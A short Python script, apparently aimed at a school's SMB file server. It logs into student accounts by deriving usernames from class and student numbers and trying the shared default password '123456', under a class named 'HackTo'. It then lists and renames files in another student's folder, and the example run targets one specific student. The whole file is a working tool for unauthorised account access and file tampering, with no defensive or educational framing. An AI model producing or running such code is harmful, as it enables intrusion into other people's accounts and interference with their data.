from smb.SMBConnection import SMBConnection
import os

DEFAULT_IP = "172.0.11.10"
get_username = lambda sclass,snum:f"G1{sclass}_{snum}"
DEFAULT_PASSWORDE = "123456"
REMOTE_NAME = "abc-infoserver"
MY_NAME = "hacker"
DEFAULT_FOLDOR = "students"
get_path = lambda sclass,snum:f"Gao1{sclass}/G1{sclass}_{snum}/"


class HackTo(SMBConnection):
    def __init__(self,student_class,student_number,password=DEFAULT_PASSWORDE,folder=DEFAULT_FOLDOR,path=None):
        super().__init__(
            username=get_username(sclass=student_class,snum=student_number),
            password=password,
            my_name=MY_NAME,
            remote_name=REMOTE_NAME,
            is_direct_tcp = True
            )
        self.folder = folder
        if not path:
            path = get_path(sclass=student_class,snum=student_number)
        self.path=path
        
        assert super().connect(DEFAULT_IP, 445)
        
    
    def listFile(self,path=None):
        path = self.path if not path else path
        return [file.filename for file in self.listPath(self.folder,path=path)]
    
    def makeDir(self,name,path=None):
        path = self.path if not path else path
        self.createDirectory(self.folder,path=os.path.join(path,name))

    def rename(self,old,new,path=None):
        path = self.path if not path else path
        return super().rename(DEFAULT_FOLDOR, os.path.join(path,old), os.path.join(path,new), timeout=30)

example = HackTo("11","40")
print(example.listFile())
example.rename("3","666")